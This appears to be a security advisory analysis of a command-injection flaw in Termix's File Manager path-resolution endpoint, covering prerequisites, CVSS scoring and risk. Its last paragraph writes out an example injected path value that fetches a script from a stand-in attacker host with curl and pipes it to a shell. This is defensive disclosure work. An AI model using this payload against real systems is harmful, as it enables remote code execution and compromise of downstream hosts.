Termix EUVD-2026-34873

The attacker must (1) hold valid Termix authentication credentials at any privilege level (PR:L), (2) have an active File Manager SSH session already established to a target remote host, and (3) be able to reach the Termix web interface over the network (AV:N). Limiting factors: exploitation is impossible against unauthenticated visitors, against users who only use the SSH terminal or tunneling features without opening File Manager, and against Termix 2.3.2+. No user interaction is required (UI:N), and attack complexity is low (AC:L), so once the prerequisites are met any HTTP client can deliver the payload. The injection works against default configurations of Termix prior to 2.3.2 - no special server-side feature toggling is required beyond the inherent File Manager session.

Real-world risk is high but contextualized by the PR:L (low-privilege authenticated) requirement and the need for an already-established File Manager SSH session - meaning an attacker must already hold valid Termix credentials and have configured an SSH target. CVSS 9.9 with AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H accurately reflects that, once these prerequisites are met, exploitation is trivial, fully automatable, and grants full compromise of downstream managed hosts. EPSS and CISA KEV status were not provided in the input, and no public exploit identified at time of analysis; however, the vendor security advisory plainly describes the injection mechanism, lowering the barrier to weaponization. The primary risk multiplier is that Termix is a server-management tool, so a single compromised low-privilege Termix account pivots into arbitrary command execution on every SSH host that user has open in File Manager - a meaningful supply-chain-style blast radius for any organization using Termix as a centralized SSH jump platform.

An attacker obtains low-privilege Termix credentials (via phishing, credential stuffing, or as a legitimate but malicious internal user), logs into the Termix web UI, opens a File Manager session to any SSH host they are permitted to access, and issues a crafted GET request to /ssh/file_manager/ssh/resolvePath with a path parameter containing $(curl attacker.com/x.sh|sh) or backtick-wrapped commands. The injected payload executes on the remote SSH host under the SSH session user's privileges, allowing the attacker to deploy implants, exfiltrate data, or pivot deeper into the network. No public exploit identified at time of analysis, but the advisory's description makes payload construction trivial.